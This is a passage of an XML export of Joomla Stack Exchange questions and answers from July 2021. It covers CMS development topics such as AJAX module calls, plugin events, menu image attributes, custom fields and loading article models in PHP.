OwnerUserId="14891" LastEditorUserId="14891" LastEditDate="2021-07-02T09:43:18.497" LastActivityDate="2024-03-18T22:04:45.553" Title="Retrieve post request in joomla sent from external app" Tags="|joomla-1.5|external-script|jrequest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30321" PostTypeId="2" ParentId="30319" CreationDate="2021-07-02T11:57:04.583" Score="0" Body="&lt;p&gt;on your page your website is loaded via https, but the image link is provided without http.&lt;/p&gt;&#xA;&lt;p&gt;what does your console show?&#xA;simply by copy your HTML i cannot see an error, in the code itself.&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2021-07-03T04:18:25.207" LastActivityDate="2021-07-03T04:18:25.207" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="30322" PostTypeId="2" ParentId="30275" CreationDate="2021-07-02T12:09:49.060" Score="0" Body="&lt;p&gt;As far as i know, its simply not possible - i had to use javascript for a similar scenario (the other way around) and loaded the files by AJAX inside a modal.&lt;/p&gt;&#xA;&lt;p&gt;the &amp;quot;logic&amp;quot; was:&#xA;Get the targetfield's id that holds the filename after a subform got added, custom modal that holds target field id and its value as data attr. after selecting a file js stores the filepath in the field... It started to get complicated when added subform multiple mode.&lt;/p&gt;&#xA;&lt;p&gt;You can download agileDownloads to have a look for the Custom form field I've created there:&#xA;&lt;a href=&quot;https://extensions.joomla.org/extension/agile-downloads-lite/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/agile-downloads-lite/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GKEib.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GKEib.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2021-07-02T12:09:49.060" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30323" PostTypeId="2" ParentId="30288" CreationDate="2021-07-02T13:03:02.880" Score="0" Body="&lt;p&gt;There is no such default-form-field type ready to use in your xml in joomla! for those fields. You need to create your own custom form field type to have such a functionality / layout.&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2021-07-02T13:03:02.880" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30324" PostTypeId="2" ParentId="30320" CreationDate="2021-07-02T13:15:55.493" Score="0" Body="&lt;p&gt;You could do this more easily via a module that is published on a certain page (in joomla) which listen for such requests. I've scripted something like this already. An important point is to define a &amp;quot;securitytoken&amp;quot; for those requests.&lt;/p&gt;&#xA;&lt;p&gt;I've played around with and endpoint that returned all joomla articles into an iOS App on request.&lt;/p&gt;&#xA;&lt;p&gt;After that Ive created a &amp;quot;database changer&amp;quot; module that will do some tasks when triggered by a security token - you can see my solution here:&#xA;&lt;a href=&quot;https://github.com/marcorensch/mod_db_data_changer&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/marcorensch/mod_db_data_changer&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;hope this helps&lt;/p&gt;&#xA;&lt;p&gt;Edit: I've just seen that you had added the Joomla-1.5 tag to your question i hope you are not still using J1.5?&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2021-07-02T13:15:55.493" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="30325" PostTypeId="2" ParentId="30314" CreationDate="2021-07-02T13:43:19.587" Score="0" Body="&lt;p&gt;A common solution would be to:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add an input to your modal&lt;/li&gt;&#xA;&lt;li&gt;While typing (or after) trigger an ajax call that gets a list of articles based on your search term and list the results then (incl. article item id) in the modal.&lt;/li&gt;&#xA;&lt;li&gt;Selecting an article from this list triggers a modal close and sets the article id as value of a hidden field in your form (easily by js)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You can do an AJAX call like this from the module backend (JS):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function yourFancyFunctionAjax(moduleId){&#xA;let data = {&#xA;    'moduleId' : moduleId,&#xA;}&#xA;let request = {&#xA;    'data': JSON.stringify(data),&#xA;    'format': 'json',&#xA;    'option':'com_ajax',&#xA;    'module': 'modulename_without_mod',&#xA;    'method': 'functionNameInHelperPHP'&#xA;};&#xA;return jQuery.ajax({&#xA;    url: '/index.php',&#xA;    type : 'GET',&#xA;    data: request,&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&lt;p&gt;important is to use the URL &amp;quot;/index.php&amp;quot; otherwise the module searches in the backend path for the helper file.&lt;/p&gt;&#xA;&lt;p&gt;the method name in helper PHP must be placed in the modules main class and looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;..&#xA;method: myMethod&#xA;..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;function name in helper:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public static function myMethodAjax(){...}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;hope this helps&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2021-07-02T13:43:19.587" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="30327" PostTypeId="1" AcceptedAnswerId="30328" CreationDate="2021-07-03T05:16:50.057" Score="1" ViewCount="56" Body="&lt;p&gt;AS written &lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; Plugin types determine which events a plugin can react to.&#xA;I am now in the process of enabling 2 tasks. First via installer that does a check before update a download id and second I want to add a javascript snipped to the document head in the backend and frontend of the page for a third party api (authentication key).&lt;/p&gt;&#xA;&lt;p&gt;The events are:&#xA;&lt;code&gt;onInstallerBeforePackageDownload&lt;/code&gt; and &lt;code&gt;onAfterRender&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;As I see it currently I have to create 2 plugins for it. Once a plugin of the type &amp;quot;installer&amp;quot; and once of the type &amp;quot;system&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Is that really the case? I would like to offer the user the possibility to manage everything in one plugin. It seems to be a bit &amp;quot;overkill&amp;quot; to have a plugin that checks the DownloadID before an update and to provide a ThirdParty API Key in JS...&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2021-07-03T09:51:59.087" Title="Plugin for two types of events from different plugin types" Tags="|joomla-3.x|plugin|plugin-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30328" PostTypeId="2" ParentId="30327" CreationDate="2021-07-03T09:51:59.087" Score="2" Body="&lt;p&gt;Joomla's System Plugins are triggered with every page request. Although you can use them for everything, for performance it's better to limit its use.&lt;/p&gt;&#xA;&lt;p&gt;In some cases you could prefer to use &lt;strong&gt;non-system methods in your System Plugin&lt;/strong&gt; (like what you described).&lt;/p&gt;&#xA;&lt;p&gt;One of my custom System Plugins does some stuff at the method &lt;code&gt;onAfterRoute()&lt;/code&gt;. I also needed to change one Joomla's forms. You can change a JForm via the &lt;code&gt;onContentPrepareForm()&lt;/code&gt; method that you see in Content Plugins. However, I wanted to keep all my functionality in one place and didn't want to create a separate Content Plugin. So I used &lt;code&gt;onContentPrepareForm()&lt;/code&gt; in my System Plugin.&lt;/p&gt;&#xA;&lt;p&gt;I have not used the &lt;code&gt;onInstallerBeforePackageDownload&lt;/code&gt; event yet. I suppose that you can use that method in your System Plugin as well.&lt;/p&gt;&#xA;&lt;p&gt;If you use a &lt;strong&gt;System Plugin&lt;/strong&gt;, I would &lt;strong&gt;add checks at every function to limit its use&lt;/strong&gt;. When it's not needed to run the rest of the method, leave as fast as possible. Like if you need to run a method only in the front-end:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Run this only on the Front-end&#xA;if ($this-&amp;gt;app-&amp;gt;isClient('administrator'))&#xA;{&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2021-07-03T09:51:59.087" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30329" PostTypeId="1" AcceptedAnswerId="30336" CreationDate="2021-07-03T11:25:40.203" Score="2" ViewCount="309" Body="&lt;p&gt;Google is complaining that there is no height and width set on the HTML properties of some images in a menu.  It's worrying about cumulative layout shift.&lt;/p&gt;&#xA;&lt;p&gt;The sizing is all done in CSS, but I want to add the height/width attributes.  I've created a &lt;code&gt;mod_menu&lt;/code&gt; override but that doesn't help because I can't even see an &lt;code&gt;&amp;lt;img&lt;/code&gt; tag.&lt;/p&gt;&#xA;&lt;p&gt;I see these files&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;default.php&lt;/li&gt;&#xA;&lt;li&gt;default_component.php&lt;/li&gt;&#xA;&lt;li&gt;default_heading.php&lt;/li&gt;&#xA;&lt;li&gt;default_separator.php&lt;/li&gt;&#xA;&lt;li&gt;default_url.php&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I think it's being called with this code.  I see this code in &lt;code&gt;default_component.php&lt;/code&gt; and &lt;code&gt;default_url.php&lt;/code&gt;.  I've tried changing it in both files.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($item-&amp;gt;menu_image)&#xA;{&#xA;    if ($item-&amp;gt;menu_image_css)&#xA;    {&#xA;        $image_attributes['class'] = $item-&amp;gt;menu_image_css;&#xA;        $linktype = JHtml::_('image', $item-&amp;gt;menu_image, $item-&amp;gt;title, $image_attributes);&#xA;    }&#xA;    else&#xA;    {&#xA;        $linktype = JHtml::_('image', $item-&amp;gt;menu_image, $item-&amp;gt;title);&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;params-&amp;gt;get('menu_text', 1))&#xA;    {&#xA;        $linktype .= '&amp;lt;span class=&amp;quot;image-title&amp;quot;&amp;gt;' . $item-&amp;gt;title . '&amp;lt;/span&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I suspect it's specifically this part:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('image', $item-&amp;gt;menu_image, $item-&amp;gt;title, $image_attributes);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I saw this part was adding a class&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$image_attributes['class'] = $item-&amp;gt;menu_image_css;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So I tried adding&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$image_attributes['height'] = '308';&#xA;$image_attributes['width'] = '308';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But that didn't appear to do it.  I then tried:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    $linktype = JHtml::_('image', $item-&amp;gt;menu_image, $item-&amp;gt;title, $image_attributes, ['width' =&amp;gt; '308'], ['height' =&amp;gt; '308']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but still no joy&lt;/p&gt;&#xA;&lt;p&gt;How could I add the height and width to these images?&lt;/p&gt;&#xA;&lt;p&gt;Here is my full edited code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($item-&amp;gt;menu_image)&#xA;{&#xA;    if ($item-&amp;gt;menu_image_css)&#xA;    {&#xA;        $image_attributes['class'] = $item-&amp;gt;menu_image_css;&#xA;//        $image_attributes['height'] = '308';&#xA;//        $image_attributes['width'] = '308';&#xA;        $linktype = JHtml::_('image', $item-&amp;gt;menu_image, $item-&amp;gt;title, $image_attributes, ['width' =&amp;gt; '308'], ['height' =&amp;gt; '308']);&#xA;    }&#xA;    else&#xA;    {&#xA;        $linktype = JHtml::_('image', $item-&amp;gt;menu_image, $item-&amp;gt;title);&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;params-&amp;gt;get('menu_text', 1))&#xA;    {&#xA;        $linktype .= '&amp;lt;span class=&amp;quot;image-title&amp;quot;&amp;gt;' . $item-&amp;gt;title . '&amp;lt;/span&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2021-07-05T09:21:20.907" LastActivityDate="2021-07-07T05:10:39.643" Title="How can I add height and width attributes to an image in a menu?" Tags="|overrides|images|jhtml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30330" PostTypeId="1" AcceptedAnswerId="30331" CreationDate="2021-07-03T12:02:41.420" Score="0" ViewCount="110" Body="&lt;p&gt;I'm using Joomla! front end editing but the only tab available is &amp;quot;content&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;The publishing and images tabs have disappeared.  They were working so I must have changed something but I can't work out what.&lt;/p&gt;&#xA;&lt;p&gt;I set a few of the editor-xtd plugins to &amp;quot;super user&amp;quot; so I didn't confuse authors with items that were not required.  But surely they do not control the tabs for publishing etc.&lt;/p&gt;&#xA;&lt;p&gt;I can't think of anything else I would have changed.  I haven't done any overrides either.&lt;/p&gt;&#xA;&lt;p&gt;Can anyone think of what I may have done wrong?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2021-07-05T09:14:24.783" Title="Front end editing, publishing and images tab have disappeared" Tags="|articles|front-end|editor|editing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30331" PostTypeId="2" ParentId="30330" CreationDate="2021-07-03T12:05:36.730" Score="2" Body="&lt;p&gt;This was caused by disabling mootools to try and increase the performance on the site.  Pesky mootools.&lt;/p&gt;&#xA;&lt;p&gt;And to get the images/links tab you need to set it in the options.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/AA8FO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AA8FO.png&quot; alt=&quot;front end images and links&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2021-07-05T09:14:24.783" LastActivityDate="2021-07-05T09:14:24.783" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30332" PostTypeId="2" ParentId="30283" CreationDate="2021-07-04T11:16:53.647" Score="1" Body="&lt;p&gt;So, the way I fixed this issue is using CSS to target some class of the form generated by Joomla and change the display into &amp;quot;block&amp;quot;. It's not an actual fix, but a workaround that works pretty well.&lt;/p&gt;&#xA;" OwnerUserId="15413" LastActivityDate="2021-07-04T11:16:53.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30334" PostTypeId="2" ParentId="30305" CreationDate="2021-07-06T04:51:56.350" Score="0" Body="&lt;p&gt;I managed to find this page in JDocs, while not looking for it, that looks like the closest thing to any sort of formal documentation although it is minimal.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J4.x:Namespace_Conventions_In_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J4.x:Namespace_Conventions_In_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It is a start but it could do with a lot of more elaboration to put things in context as provided by @Sharky in his answer.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-07-06T04:51:56.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30336" PostTypeId="2" ParentId="30329" CreationDate="2021-07-07T05:10:39.643" Score="2" Body="&lt;p&gt;Your attributes are added only when image class is set. If you want dimensions on all images, move the code outside of &lt;code&gt;$item-&amp;gt;menu_image_css&lt;/code&gt; check:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($item-&amp;gt;menu_image)&#xA;{&#xA;    $image_attributes['height'] = '308';&#xA;    $image_attributes['width'] = '308';&#xA;&#xA;    if ($item-&amp;gt;menu_image_css)&#xA;    {&#xA;        $image_attributes['class'] = $item-&amp;gt;menu_image_css;&#xA;    }&#xA;&#xA;    $linktype = JHtml::_('image', $item-&amp;gt;menu_image, $item-&amp;gt;title, $image_attributes);&#xA;&#xA;    if ($item-&amp;gt;params-&amp;gt;get('menu_text', 1))&#xA;    {&#xA;        $linktype .= '&amp;lt;span class=&amp;quot;image-title&amp;quot;&amp;gt;' . $item-&amp;gt;title . '&amp;lt;/span&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-07-07T05:10:39.643" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="30337" PostTypeId="1" AcceptedAnswerId="31874" CreationDate="2021-07-07T09:04:47.087" Score="0" ViewCount="73" Body="&lt;p&gt;Every time a user logs in they are automatically blocked.  When I enable them again they login once and it disables them again.&lt;/p&gt;&#xA;&lt;p&gt;It's making it impossible for my staff to get any work done.  It's occurring on multiple sites.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2022-01-25T18:09:25.463" Title="Every time a user logins in they are automatically blocked" Tags="|login|security|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="30338" PostTypeId="1" CreationDate="2021-07-07T15:21:24.833" Score="0" ViewCount="52" Body="&lt;p&gt;I'm looking to display a map (google map or other) together with a list of all our registered Joomla 3.9.x users, their addresses and extra information are stored using Joomla user custom fields.&lt;/p&gt;&#xA;&lt;p&gt;What we would like to accomplish is to allow each user to mark a checkbox for the fields they would like to display publicly (to non-registered users), for example some users might want to display their full address, others might want to display just their city and state but not their full address, and others might want to display even their email address, or nothing but their handle.&lt;/p&gt;&#xA;&lt;p&gt;I've been checking multiple contact, listing and directory components (paid and free) but I haven't been able to find one that lists the ability for the users to choose what they want to make public or not.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone know of an extension or component that would allow this functionality out of the box?&lt;/p&gt;&#xA;" OwnerUserId="15486" LastEditorUserId="12352" LastEditDate="2021-07-07T22:43:18.713" LastActivityDate="2024-03-24T03:03:40.440" Title="Registered users public listing showing only the selected fields by each user" Tags="|user|custom-field|geolocation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30339" PostTypeId="1" AcceptedAnswerId="30341" CreationDate="2021-07-07T15:34:00.283" Score="2" ViewCount="277" Body="&lt;p&gt;I have a custom component where I was to be able to select other articles to show in the frontend. I have thought the best way to do this would be through the SQL field.&lt;/p&gt;&#xA;&lt;p&gt;This is good that it gives me the ID of the article, but I want to be able to display the article name, intro image and intro text in the frontend of my custom component.&lt;/p&gt;&#xA;&lt;p&gt;I have the following in my component XML&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;interested_in&amp;quot; type=&amp;quot;sql&amp;quot; default=&amp;quot;10&amp;quot; label=&amp;quot;Select an article&amp;quot; query=&amp;quot;SELECT id, title FROM #__content&amp;quot; key_field=&amp;quot;id&amp;quot; value_field=&amp;quot;title&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This echo's the ID:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?PHP echo $this-&amp;gt;item-&amp;gt;interested_in; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But ideally, I need something along the lines of:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;&#xA;    $id      = $this-&amp;gt;item-&amp;gt;interested_in;&#xA;    $article = JControllerLegacy::getInstance('Content')-&amp;gt;getModel('Article')-&amp;gt;getItem($id);&#xA;    $image   = json_decode($article-&amp;gt;images);&#xA;&#xA;    echo '&amp;lt;a href=&amp;quot;' . JRoute::_('index.php?option=com_content&amp;amp;view=article&amp;amp;id=' . $id) . '&amp;quot;&amp;gt;' . $article-&amp;gt;title . '&amp;lt;/a&amp;gt;';&#xA;&#xA;    if ($image !== null) {&#xA;        echo '&amp;lt;img src=&amp;quot;' . $image-&amp;gt;image_intro . '&amp;quot; alt=&amp;quot;&amp;quot;&amp;gt;';&#xA;    }&#xA;    &#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But this is giving me an error in the frontend:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Call to a member function getItem() on bool&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2021-07-08T08:59:56.023" LastActivityDate="2024-01-31T00:06:32.390" Title="Select articles to display in custom component" Tags="|php|component|custom-component|component-params|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="30340" PostTypeId="2" ParentId="30338" CreationDate="2021-07-07T15:49:22.183" Score="0" Body="&lt;p&gt;TL;DR: you could use Custom Fields + Alternative Template Override + Advanced Custom Fields for geographic map.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Custom Fields&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you are using Custom Fields to ask for all those details then you could indeed ask for a &amp;quot;make this info public&amp;quot; Custom Field for each Field (e.g. address + address_pub).&lt;/p&gt;&#xA;&lt;p&gt;For each Custom Field switch OFF &amp;quot;Automatic Display&amp;quot;. Otherwise the fields will be displayed via a core plugin. I would also check if Joomla's Search (Search via com_search and Smart Search via com_finder) won't display/find the non-public Custom Fields. Same goes for Joomla's or any non-core caching option.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Alternative Template Override&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;To display the fields in the front-end you could create an (Alternative) Template Override (= Template Override with new name). In that override you check for each Custom Field (&amp;quot;address&amp;quot;) if its &amp;quot;make this info public&amp;quot; field (&amp;quot;address_pub&amp;quot;) is true. If so display it, otherwise not.&lt;/p&gt;&#xA;&lt;p&gt;Information about Template Overrides: &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Advanced Custom Fields&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;To use a Location / Maps field you could use a non-core extension &lt;strong&gt;Advanced Custom Fields&lt;/strong&gt; that supports Google Maps, Bing Maps and OpenStreetMap (even in the free version)&#xA;&lt;a href=&quot;https://www.tassos.gr/joomla-extensions/advanced-custom-fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.tassos.gr/joomla-extensions/advanced-custom-fields&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2021-07-07T15:49:22.183" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30341" PostTypeId="2" ParentId="30339" CreationDate="2021-07-08T05:40:56.257" Score="4" Body="&lt;p&gt;&lt;code&gt;JControllerLegacy::getInstance()&lt;/code&gt; caches the first controller instance so you're actually getting an instance of your component's controller rather than &lt;code&gt;Content&lt;/code&gt; controller. You can skip the controller and get the model directly instead:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_content/models', 'ContentModel');&#xA;$model = JModelLegacy::getInstance('Article', 'ContentModel');&#xA;$article = $model-&amp;gt;getItem($id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2021-07-08T08:23:04.013" LastActivityDate="2021-07-08T08:23:04.013" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30342" PostTypeId="1" CreationDate="2021-07-09T05:34:24.430" Score="0" ViewCount="1320" Body="&lt;p&gt;How can I fix the following deprecation error generated by my php code?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Factory::getDocument() is deprecated&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app = Factory::getApplication();&#xA;$wa = $app-&amp;gt;getDocument()-&amp;gt;getWebAssetManager();&#xA;&#xA;if (!$wa-&amp;gt;assetExists('script', 'keyselectmodal'))&#xA;{&#xA;    $document = Factory::getDocument();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15297" LastEditorUserId="12352" LastEditDate="2021-07-10T07:09:50.557" LastActivityDate="2023-03-01T16:20:27.910" Title="How to Fix PHP Deprecated : Factory::getDocument() is deprecated" Tags="|php|javascript|joomla-4.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30343" PostTypeId="2" ParentId="30342" CreationDate="2021-07-09T05:53:20.183" Score="4" Body="&lt;p&gt;Use &lt;code&gt;Joomla\CMS\Application\WebApplication::getDocument()&lt;/code&gt;. In your code you're already doing this with &lt;code&gt;$app-&amp;gt;getDocument()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-07-09T05:53:20.183" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="30344" PostTypeId="1" AcceptedAnswerId="30345" CreationDate="2021-07-09T12:48:09.853" Score="1" ViewCount="161" Body="&lt;p&gt;I have the following fields in a component:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&amp;quot;carousel_container&amp;quot;&amp;gt;&#xA;    &amp;lt;field name=&amp;quot;carousel&amp;quot; type=&amp;quot;Repeatable&amp;quot; icon=&amp;quot;list&amp;quot; description=&amp;quot;&amp;quot; label=&amp;quot;Carousel&amp;quot; default=&amp;quot;&amp;quot;&amp;gt;&#xA;        &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;            &amp;lt;fieldset hidden=&amp;quot;true&amp;quot; name=&amp;quot;list_templates_modal&amp;quot; repeat=&amp;quot;true&amp;quot;&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;carouselimage&amp;quot; type=&amp;quot;media&amp;quot; directory=&amp;quot;&amp;quot; /&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;carouselcaption&amp;quot; type=&amp;quot;text&amp;quot; label=&amp;quot;Caption&amp;quot; filter=&amp;quot;raw&amp;quot; class=&amp;quot;inputbox&amp;quot;  /&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This then saves JSON to the database as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &amp;quot;carouselimage&amp;quot;:&#xA;        [&amp;quot;images/1060333.jpg&amp;quot;,&amp;quot;images/2012861.jpg&amp;quot;,&amp;quot;images/2024459.jpg&amp;quot;],&#xA;    &amp;quot;carouselcaption&amp;quot;:&#xA;        [&amp;quot;This is a caption&amp;quot;,&amp;quot;Another caption&amp;quot;,&amp;quot;and another on&amp;quot;]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I then get the repeatable field value and decode it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$carousel_images = json_decode($this-&amp;gt;item-&amp;gt;carousel,true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then do the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// loop the result&#xA;foreach($carousel_images as $ca) {&#xA;    $image = $ca['carouselimage'];&#xA;    $caption = $ca['carouselcaption'];&#xA;       // do something clever for each of the images&#xA;       '&amp;lt;img src=&amp;quot;' . $image .'&amp;quot;/&amp;gt;&amp;lt;p&amp;gt;' . $caption . '&amp;lt;/p&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;?&amp;gt;&lt;/p&gt;&#xA;&lt;p&gt;But the variables aren't being called. I'm getting an error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Notice: Undefined index: carouselimage&#xA;Notice: Undefined index: carouselcaption&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How can I cycle through the foreach loop and separate the image and the caption for adding to the carousel?&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2021-07-09T13:23:16.787" LastActivityDate="2021-07-09T13:47:49.980" Title="Show images and caption from array as images in carousel" Tags="|joomla-3.x|php|custom-component|json|array|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
